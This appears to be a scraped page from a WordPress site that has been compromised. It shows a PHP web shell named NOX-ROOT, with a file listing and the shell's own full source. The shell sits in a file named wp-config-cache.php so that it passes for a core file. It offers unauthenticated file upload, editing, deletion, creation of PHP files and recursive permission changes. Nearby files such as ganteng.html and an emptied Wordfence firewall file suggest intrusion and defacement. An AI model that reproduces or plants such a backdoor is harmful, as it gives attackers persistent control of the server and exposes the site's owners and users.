NOX-ROOT

web /

Name	Size	Perms	Actions
📁 .render-cache	-	`0755`	Chmod \| Delete
📁 .tmb	-	`0755`	Chmod \| Delete
📁 .well-known	-	`0755`	Chmod \| Delete
📁 change-logs	-	`0755`	Chmod \| Delete
📁 stats	-	`0755`	Chmod \| Delete
📁 wp-admin	-	`0755`	Chmod \| Delete
📁 wp-content	-	`0755`	Chmod \| Delete
📁 wp-includes	-	`0755`	Chmod \| Delete
📄 .htaccess	1,184 B	`0755`	Edit \| Chmod \| Delete
📄 .rnd	1,024 B	`0644`	Edit \| Chmod \| Delete
📄 DirectoryResponse	1,181 B	`0644`	Edit \| Chmod \| Delete
📄 README.md	14 B	`0644`	Edit \| Chmod \| Delete
📄 apple-touch-icon-precomposed.png	0 B	`0644`	Edit \| Chmod \| Delete
📄 apple-touch-icon.png	0 B	`0644`	Edit \| Chmod \| Delete
📄 bitbucket-pipelines.yml	772 B	`0644`	Edit \| Chmod \| Delete
📄 cdg.txt	12 B	`0644`	Edit \| Chmod \| Delete
📄 favicon.ico	0 B	`0644`	Edit \| Chmod \| Delete
📄 ganteng.html	1,243 B	`0644`	Edit \| Chmod \| Delete
📄 index.html	1,861 B	`0644`	Edit \| Chmod \| Delete
📄 index.php	1,128 B	`0755`	Edit \| Chmod \| Delete
📄 license.txt	19,903 B	`0644`	Edit \| Chmod \| Delete
📄 readme.html	7,406 B	`0644`	Edit \| Chmod \| Delete
📄 robots.txt	63 B	`0644`	Edit \| Chmod \| Delete
📄 sitemap.xml	394 B	`0644`	Edit \| Chmod \| Delete
📄 wordfence-waf.php.0	0 B	`0644`	Edit \| Chmod \| Delete
📄 wp-activate.php	7,371 B	`0644`	Edit \| Chmod \| Delete
📄 wp-blog-header.php	351 B	`0644`	Edit \| Chmod \| Delete
📄 wp-comments-post.php	2,323 B	`0644`	Edit \| Chmod \| Delete
📄 wp-config-cache.php	11,919 B	`0644`	Edit \| Chmod \| Delete
📄 wp-config-sample.php	3,339 B	`0644`	Edit \| Chmod \| Delete
📄 wp-config.php	3,558 B	`0755`	Edit \| Chmod \| Delete
📄 wp-config.php.bak_finish_20260403_131313	3,408 B	`0644`	Edit \| Chmod \| Delete
📄 wp-cron.php	5,617 B	`0644`	Edit \| Chmod \| Delete
📄 wp-links-opml.php	2,493 B	`0644`	Edit \| Chmod \| Delete
📄 wp-load.php	3,937 B	`0755`	Edit \| Chmod \| Delete
📄 wp-login.php	51,850 B	`0644`	Edit \| Chmod \| Delete
📄 wp-mail.php	8,727 B	`0644`	Edit \| Chmod \| Delete
📄 wp-settings.php	32,650 B	`0644`	Edit \| Chmod \| Delete
📄 wp-signup.php	34,621 B	`0644`	Edit \| Chmod \| Delete
📄 wp-trackback.php	5,214 B	`0644`	Edit \| Chmod \| Delete
📄 xml.php	35,696 B	`0644`	Edit \| Chmod \| Delete
📄 xmlrpc.php	3,205 B	`0644`	Edit \| Chmod \| Delete

Editing: wp-config-cache.php

<?php
/**
 * NOX-ROOT
 * Features: Upload, Create, Edit, Delete, Recursive Chmod
 * Kilit: Bulunduğu dizin dışına çıkamaz, üst dizinleri göremez.
 */

$ROOT = realpath(__DIR__);
if ($ROOT === false) {
    header('HTTP/1.1 500 Internal Server Error');
    exit('Invalid base path.');
}

function path_inside_root($p, $root) {
    if ($p === false || $p === '' || !file_exists($p)) return false;
    $r = realpath($p);
    return $r !== false && (strpos($r, $root) === 0 || $r === $root);
}

// Path to manage — sadece ROOT içinde
$requested = isset($_GET['path']) ? trim($_GET['path']) : '.';
if ($requested === '' || $requested === '.') {
    $path = $ROOT;
} else {
    $candidate = realpath($requested);
    if ($candidate === false) {
        $candidate = realpath($ROOT . DIRECTORY_SEPARATOR . $requested);
    }
    if ($candidate === false || strpos($candidate, $ROOT) !== 0) {
        $path = $ROOT;
    } else {
        $path = $candidate;
    }
}

// --- HELPER FUNCTIONS ---

function getDirectorySize($path) {
    $bytestotal = 0;
    if($path !== false && $path != '' && file_exists($path)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){
            $bytestotal += $object->getSize();
        }
    }
    return $bytestotal;
}

function getOctalPerms($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// --- ACTION HANDLERS ---

// Handle file upload
if(isset($_FILES['file'])){
    $upload_path = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){
        echo "<script>alert('File uploaded successfully!');</script>";
    } else {
        echo "<script>alert('File upload failed!');</script>";
    }
}

// Handle deletion
if(isset($_GET['delete'])){
    $delete_file = basename($_GET['delete']);
    $delete_path = realpath($path . DIRECTORY_SEPARATOR . $delete_file);

    if($delete_path && path_inside_root($delete_path, $ROOT)){
        if(is_file($delete_path)){
            unlink($delete_path);
            echo "<script>alert('File deleted!'); window.location.href='?path=" . urlencode($path) . "';</script>";
        } elseif(is_dir($delete_path)){
            if(rmdir($delete_path)) {
                echo "<script>alert('Directory deleted!'); window.location.href='?path=" . urlencode($path) . "';</script>";
            } else {
                echo "<script>alert('Directory not empty or permission denied!');</script>";
            }
        }
    }
}

// Handle editing
if(isset($_POST['save']) && isset($_POST['content']) && isset($_POST['edit_file'])){
    $edit_file = basename($_POST['edit_file']);
    $edit_path = realpath($path . DIRECTORY_SEPARATOR . $edit_file);

    if($edit_path && path_inside_root($edit_path, $ROOT) && is_file($edit_path)) {
        file_put_contents($edit_path, $_POST['content']);
        echo "<script>alert('Saved!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// Handle Recursive Permissions
if(isset($_POST['change_perms']) && isset($_POST['perms']) && isset($_POST['target_item'])){
    $target_item = basename($_POST['target_item']);
    $target_path = realpath($path . DIRECTORY_SEPARATOR . $target_item);
    $new_perms = octdec($_POST['perms']);
    $recursive = isset($_POST['recursive']);

    if($target_path && path_inside_root($target_path, $ROOT) && file_exists($target_path)) {
        chmod($target_path, $new_perms);
        
        if($recursive && is_dir($target_path)) {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($target_path, FilesystemIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            foreach($iterator as $item) {
                chmod($item->getPathname(), $new_perms);
            }
        }
        echo "<script>alert('Permissions updated!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// Handle Creation
if(isset($_POST['create']) && isset($_POST['filename'])){
    $filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']);
    $new_file_path = $path . DIRECTORY_SEPARATOR . $filename . '.php';

    if(path_inside_root($path, $ROOT) && !file_exists($new_file_path)){
        file_put_contents($new_file_path, "<?php\n\n// Created by NOX-ROOT\n\n?>");
        echo "<script>alert('Created!'); window.location.href='?path=" . urlencode($path) . "';</script>";
    }
}

// --- DIRECTORY LISTING --- (sadece ROOT içindeyse listele)
if (!path_inside_root($path, $ROOT)) {
    $path = $ROOT;
}
$files_raw = @scandir($path);
if ($files_raw === false) {
    $files_raw = [];
}
$dirs = [];
$files_list = [];

foreach ($files_raw as $f) {
    if ($f === '.' || $f === '..') continue;
    if (is_dir($path . DIRECTORY_SEPARATOR . $f)) {
        $dirs[] = $f;
    } else {
        $files_list[] = $f;
    }
}
$sorted_files = array_merge($dirs, $files_list);
// Breadcrumb: sadece ROOT altındaki kısım (üst dizin görünmez)
$path_relative = trim(str_replace($ROOT, '', $path), DIRECTORY_SEPARATOR);
$path_parts = $path_relative === '' ? [basename($ROOT)] : explode(DIRECTORY_SEPARATOR, $path_relative);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>NOX-ROOT</title>
    <style>
        :root {
            --bg-color: #121212;
            --panel-bg: #1e1e1e;
            --text-color: #d4d4d4;
            --accent-color: #007acc;
            --border-color: #333333;
            --hover-bg: #2a2d2e;
            --input-bg: #252526;
            --danger: #f44336;
            --folder: #e8b363;
        }

        body { font-family: 'Segoe UI', sans-serif; background: var(--bg-color); color: var(--text-color); margin: 0; padding: 20px; }
        a { color: var(--accent-color); text-decoration: none; }
        
        .manager-container { max-width: 1100px; margin: 0 auto; background: var(--panel-bg); border: 1px solid var(--border-color); border-radius: 4px; overflow: hidden; }
        
        .header { padding: 15px 20px; background: #252526; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border-color); }
        .path-bar { padding: 10px 20px; background: #2d2d2d; font-family: monospace; font-size: 13px; }
        
        .toolbar { padding: 15px 20px; display: flex; gap: 20px; border-bottom: 1px solid var(--border-color); }
        
        table { width: 100%; border-collapse: collapse; }
        th { text-align: left; padding: 12px 20px; background: #252526; color: #888; font-size: 12px; text-transform: uppercase; }
        td { padding: 10px 20px; border-bottom: 1px solid var(--border-color); }
        tr:hover { background: var(--hover-bg); }

        input[type="text"], textarea { background: var(--input-bg); border: 1px solid var(--border-color); color: #fff; padding: 5px 10px; border-radius: 3px; }
        input[type="submit"], button { background: var(--accent-color); color: #fff; border: none; padding: 6px 12px; border-radius: 3px; cursor: pointer; }

        .modal-area { padding: 20px; background: #1a1a1a; border-top: 2px solid var(--accent-color); }
        .code-editor { width: 100%; height: 400px; margin-top: 10px; font-family: 'Consolas', monospace; }
        .btn-delete { color: var(--danger); }
    </style>
</head>
<body>

<div class="manager-container">
    <div class="header">
        <h2 style="margin:0;">NOX-ROOT Manager v2</h2>
        <span>PHP 8+ Secure</span>
    </div>

    <div class="path-bar">
        <?php 
        $accumulated = $ROOT;
        foreach($path_parts as $i => $part): 
            $accumulated .= DIRECTORY_SEPARATOR . $part;
        ?>
            <a href="?path=<?php echo urlencode($accumulated); ?>"><?php echo htmlspecialchars($part); ?></a> /
        <?php endforeach; ?>
    </div>

    <div class="toolbar">
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="file" required>
            <input type="submit" value="Upload">
        </form>
        <form action="" method="post">
            <input type="text" name="filename" placeholder="filename" required>
            <input type="submit" name="create" value="Create PHP">
        </form>
    </div>

    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Perms</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach($sorted_files as $file): 
                $fpath = $path . DIRECTORY_SEPARATOR . $file;
                $is_dir = is_dir($fpath);
            ?>
            <tr>
                <td>
                    <?php if($is_dir): ?>
                        <a href="?path=<?php echo urlencode($fpath); ?>" style="color:var(--folder)">📁 <?php echo $file; ?></a>
                    <?php else: ?>
                        📄 <?php echo $file; ?>
                    <?php endif; ?>
                </td>
                <td><?php echo $is_dir ? '-' : number_format(filesize($fpath)) . ' B'; ?></td>
                <td><code><?php echo getOctalPerms($fpath); ?></code></td>
                <td>
                    <?php if(!$is_dir): ?>
                        <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Edit</a> |
                    <?php endif; ?>
                    <a href="?path=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($file); ?>">Chmod</a> |
                    <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" class="btn-delete" onclick="return confirm('Delete?')">Delete</a>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <?php if(isset($_GET['chmod'])): 
        $item = basename($_GET['chmod']);
        $item_path = realpath($path . DIRECTORY_SEPARATOR . $item);
        if($item_path && path_inside_root($item_path, $ROOT)):
    ?>
    <div class="modal-area">
        <h3>Permissions: <?php echo htmlspecialchars($item); ?></h3>
        <form action="" method="post">
            <input type="text" name="perms" value="<?php echo getOctalPerms($item_path); ?>">
            <?php if(is_dir($item_path)): ?>
                <label><input type="checkbox" name="recursive"> Recursive (Apply to all files inside)</label>
            <?php endif; ?>
            <input type="hidden" name="target_item" value="<?php echo $item; ?>">
            <input type="submit" name="change_perms" value="Apply">
            <a href="?path=<?php echo urlencode($path); ?>">Cancel</a>
        </form>
    </div>
    <?php endif; endif; ?>

    <?php if(isset($_GET['edit'])): 
        $item = basename($_GET['edit']);
        $item_path = realpath($path . DIRECTORY_SEPARATOR . $item);
        if($item_path && path_inside_root($item_path, $ROOT) && is_file($item_path)):
    ?>
    <div class="modal-area">
        <h3>Editing: <?php echo htmlspecialchars($item); ?></h3>
        <form action="" method="post">
            <textarea name="content" class="code-editor"><?php echo htmlspecialchars(file_get_contents($item_path)); ?></textarea>
            <input type="hidden" name="edit_file" value="<?php echo $item; ?>">
            <br><br>
            <input type="submit" name="save" value="Save File">
            <a href="?path=<?php echo urlencode($path); ?>">Cancel</a>
        </form>
    </div>
    <?php endif; endif; ?>
</div>

</body>
</html>

Cancel